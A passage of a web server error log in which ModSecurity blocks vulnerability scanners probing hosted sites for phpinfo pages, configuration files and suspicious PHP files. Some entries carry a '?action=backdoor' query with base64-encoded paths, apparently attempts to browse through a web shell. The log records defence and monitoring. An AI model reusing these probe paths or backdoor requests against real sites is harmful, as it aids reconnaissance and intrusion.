91.92.42.86:16636] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.593808 2026] [proxy:error] [pid 531155:tid 531404] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.593859 2026] [proxy_http:error] [pid 531155:tid 531404] [client 91.92.42.86:16636] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.616719 2026] [proxy:error] [pid 531797:tid 532089] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.616795 2026] [proxy_http:error] [pid 531797:tid 532089] [client 91.92.42.86:16646] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.617764 2026] [proxy:error] [pid 531797:tid 532089] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.617795 2026] [proxy_http:error] [pid 531797:tid 532089] [client 91.92.42.86:16646] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.619713 2026] [access_compat:error] [pid 531155:tid 531227] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:09:56.620177 2026] [access_compat:error] [pid 531155:tid 531227] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:09:56.625892 2026] [security2:error] [pid 531797:tid 532074] [client 91.92.42.86:16676] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.guu.rog.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fjAAAAmA"], referer: http://cpanel.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.626994 2026] [security2:error] [pid 531797:tid 532100] [client 91.92.42.86:16678] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.guu.rog.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fjQAAAnk"], referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.628252 2026] [security2:error] [pid 531797:tid 532074] [client 91.92.42.86:16680] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.guu.rog.mybluehost.me"] [uri "/index.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fjwAAAmA"], referer: http://cpanel.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.633184 2026] [security2:error] [pid 531797:tid 532108] [client 91.92.42.86:16682] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.guu.rog.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai3xVMTA7b1mZrmcA-8flAAAAoE"], referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.633321 2026] [proxy:error] [pid 531797:tid 532120] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.633397 2026] [proxy_http:error] [pid 531797:tid 532120] [client 91.92.42.86:16644] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.634163 2026] [proxy:error] [pid 531797:tid 532120] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.634210 2026] [proxy_http:error] [pid 531797:tid 532120] [client 91.92.42.86:16644] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.645329 2026] [security2:error] [pid 531797:tid 532042] [client 91.92.42.86:16704] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.guu.rog.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai3xVMTA7b1mZrmcA-8flQAAAkE"], referer: http://cpanel.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.645350 2026] [security2:error] [pid 531797:tid 532128] [client 91.92.42.86:16354] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.guu.rog.mybluehost.me"] [uri "/functions.php"] [unique_id "ai3xVMTA7b1mZrmcA-8flgAAApM"], referer: http://cpanel.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.646247 2026] [proxy:error] [pid 531155:tid 531323] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.646312 2026] [proxy_http:error] [pid 531155:tid 531323] [client 91.92.42.86:16698] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.647439 2026] [security2:error] [pid 531797:tid 532079] [client 91.92.42.86:16712] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.guu.rog.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fmAAAAmU"], referer: http://cpanel.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.649135 2026] [proxy:error] [pid 531797:tid 532056] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.649204 2026] [proxy_http:error] [pid 531797:tid 532056] [client 91.92.42.86:16690] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.649586 2026] [security2:error] [pid 531797:tid 532072] [client 91.92.42.86:16728] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.guu.rog.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fmQAAAl4"], referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.650664 2026] [proxy:error] [pid 531155:tid 531323] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.650735 2026] [proxy_http:error] [pid 531155:tid 531323] [client 91.92.42.86:16698] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.656857 2026] [security2:error] [pid 531155:tid 531342] [client 91.92.42.86:16740] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.guu.rog.mybluehost.me"] [uri "/test.php"] [unique_id "ai3xVCmiP80klyS0Nnr0ywAAAUM"], referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.659421 2026] [security2:error] [pid 531155:tid 531306] [client 91.92.42.86:16746] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.guu.rog.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai3xVCmiP80klyS0Nnr0zAAAAR8"], referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.661555 2026] [proxy:error] [pid 531797:tid 532056] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.661627 2026] [proxy_http:error] [pid 531797:tid 532056] [client 91.92.42.86:16690] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.668285 2026] [security2:error] [pid 531797:tid 532027] [client 91.92.42.86:16774] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.guu.rog.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fnQAAAjM"], referer: http://cpanel.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.669331 2026] [access_compat:error] [pid 531797:tid 531948] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=backdoor&p=L3N5cy9mcy9mdXNl [Sat Jun 13 18:09:56.669856 2026] [security2:error] [pid 531797:tid 532006] [client 91.92.42.86:16790] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.guu.rog.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fnwAAAh4"], referer: http://autodiscover.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.670527 2026] [access_compat:error] [pid 531797:tid 531948] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=backdoor&p=L3N5cy9mcy9mdXNl [Sat Jun 13 18:09:56.671514 2026] [proxy:error] [pid 531797:tid 532039] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.671587 2026] [proxy_http:error] [pid 531797:tid 532039] [client 91.92.42.86:16752] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.672564 2026] [proxy:error] [pid 531797:tid 532039] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.672622 2026] [proxy_http:error] [pid 531797:tid 532039] [client 91.92.42.86:16752] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.672986 2026] [security2:error] [pid 531797:tid 532097] [client 91.92.42.86:16762] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.guu.rog.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai3xVMTA7b1mZrmcA-8foQAAAnY"], referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.672986 2026] [security2:error] [pid 531155:tid 531380] [client 91.92.42.86:16766] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.guu.rog.mybluehost.me"] [uri "/index.php"] [unique_id "ai3xVCmiP80klyS0Nnr0zQAAAWk"], referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.673867 2026] [proxy:error] [pid 531797:tid 532124] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.673923 2026] [proxy_http:error] [pid 531797:tid 532124] [client 91.92.42.86:16786] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.675034 2026] [proxy:error] [pid 531797:tid 532124] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.675084 2026] [proxy_http:error] [pid 531797:tid 532124] [client 91.92.42.86:16786] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.678217 2026] [security2:error] [pid 531155:tid 531333] [client 20.151.217.54:40230] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/h2a2ck.php"] [unique_id "ai3xVCmiP80klyS0Nnr0zgAAATo"] [Sat Jun 13 18:09:56.682825 2026] [proxy:error] [pid 531797:tid 532124] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.682902 2026] [proxy_http:error] [pid 531797:tid 532124] [client 91.92.42.86:16824] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.683669 2026] [proxy:error] [pid 531155:tid 531392] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.683685 2026] [proxy:error] [pid 531797:tid 532124] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.683731 2026] [proxy_http:error] [pid 531797:tid 532124] [client 91.92.42.86:16824] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.683736 2026] [proxy_http:error] [pid 531155:tid 531392] [client 91.92.42.86:16828] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.683923 2026] [proxy:error] [pid 531797:tid 532091] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.683965 2026] [proxy_http:error] [pid 531797:tid 532091] [client 91.92.42.86:16788] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.684554 2026] [proxy:error] [pid 531155:tid 531392] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.684586 2026] [proxy_http:error] [pid 531155:tid 531392] [client 91.92.42.86:16828] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.684884 2026] [proxy:error] [pid 531797:tid 532091] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.684941 2026] [proxy_http:error] [pid 531797:tid 532091] [client 91.92.42.86:16788] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.696594 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.34:20500] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:56.697039 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.34:20500] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:56.705377 2026] [security2:error] [pid 531797:tid 532086] [client 91.92.42.86:16832] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.guu.rog.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fpwAAAmw"], referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.784299 2026] [security2:error] [pid 531797:tid 532054] [client 91.92.42.86:16842] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.guu.rog.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fqwAAAkw"], referer: http://mail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.819256 2026] [security2:error] [pid 531797:tid 531945] [remote 17.241.227.7:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 7.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xVMTA7b1mZrmcA-8frQACgFE"] [Sat Jun 13 18:09:56.827570 2026] [security2:error] [pid 531797:tid 531998] [client 172.171.3.232:27826] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/wp1.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fsAAAAhY"] [Sat Jun 13 18:09:56.828321 2026] [security2:error] [pid 531155:tid 531374] [client 91.92.42.86:16860] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.guu.rog.mybluehost.me"] [uri "/functions.php"] [unique_id "ai3xVCmiP80klyS0Nnr00QAAAWM"], referer: http://mail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.829746 2026] [security2:error] [pid 531797:tid 532064] [client 91.92.42.86:16852] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.guu.rog.mybluehost.me"] [uri "/index.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fsQAAAlY"], referer: http://mail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.830405 2026] [security2:error] [pid 531155:tid 531402] [client 91.92.42.86:16850] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.guu.rog.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai3xVCmiP80klyS0Nnr00wAAAX8"], referer: http://mail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.871096 2026] [security2:error] [pid 531155:tid 531348] [client 91.92.42.86:16344] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.guu.rog.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai3xVCmiP80klyS0Nnr01gAAAUk"], referer: http://autodiscover.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.907666 2026] [security2:error] [pid 531797:tid 531887] [remote 17.241.219.28:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 28.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xVMTA7b1mZrmcA-8ftAACRxc"] [Sat Jun 13 18:09:56.952040 2026] [security2:error] [pid 531155:tid 531372] [client 91.92.42.86:16884] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.guu.rog.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai3xVCmiP80klyS0Nnr03QAAAWE"], referer: http://mail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.968408 2026] [security2:error] [pid 531155:tid 531322] [client 91.92.42.86:16854] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.guu.rog.mybluehost.me"] [uri "/test.php"] [unique_id "ai3xVCmiP80klyS0Nnr03gAAAS8"], referer: http://mail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.082053 2026] [access_compat:error] [pid 531797:tid 531904] [remote 57.141.14.101:22022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:57.082417 2026] [access_compat:error] [pid 531797:tid 531904] [remote 57.141.14.101:22022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:57.083153 2026] [security2:error] [pid 531797:tid 532100] [client 91.92.42.86:16942] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.guu.rog.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai3xVcTA7b1mZrmcA-8fvwAAAnk"], referer: http://mail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.083960 2026] [security2:error] [pid 531155:tid 531357] [client 91.92.42.86:16928] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.guu.rog.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai3xVSmiP80klyS0Nnr04gAAAVI"], referer: http://mail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.085900 2026] [security2:error] [pid 531797:tid 532120] [client 91.92.42.86:16806] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.guu.rog.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai3xVcTA7b1mZrmcA-8fwwAAAow"], referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.086063 2026] [security2:error] [pid 531797:tid 532040] [client 91.92.42.86:16958] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.guu.rog.mybluehost.me"] [uri "/test.php"] [unique_id "ai3xVcTA7b1mZrmcA-8fxAAAAj8"], referer: http://webdisk.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.086244 2026] [security2:error] [pid 531797:tid 532105] [client 91.92.42.86:16968] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.guu.rog.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai3xVcTA7b1mZrmcA-8fxQAAAn4"], referer: http://webdisk.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.088552 2026] [security2:error] [pid 531797:tid 532020] [client 91.92.42.86:16930] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.guu.rog.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai3xVcTA7b1mZrmcA-8fxgAAAiw"], referer: http://mail.guu.rog.mybluehost.me/ [Sat Jun 13 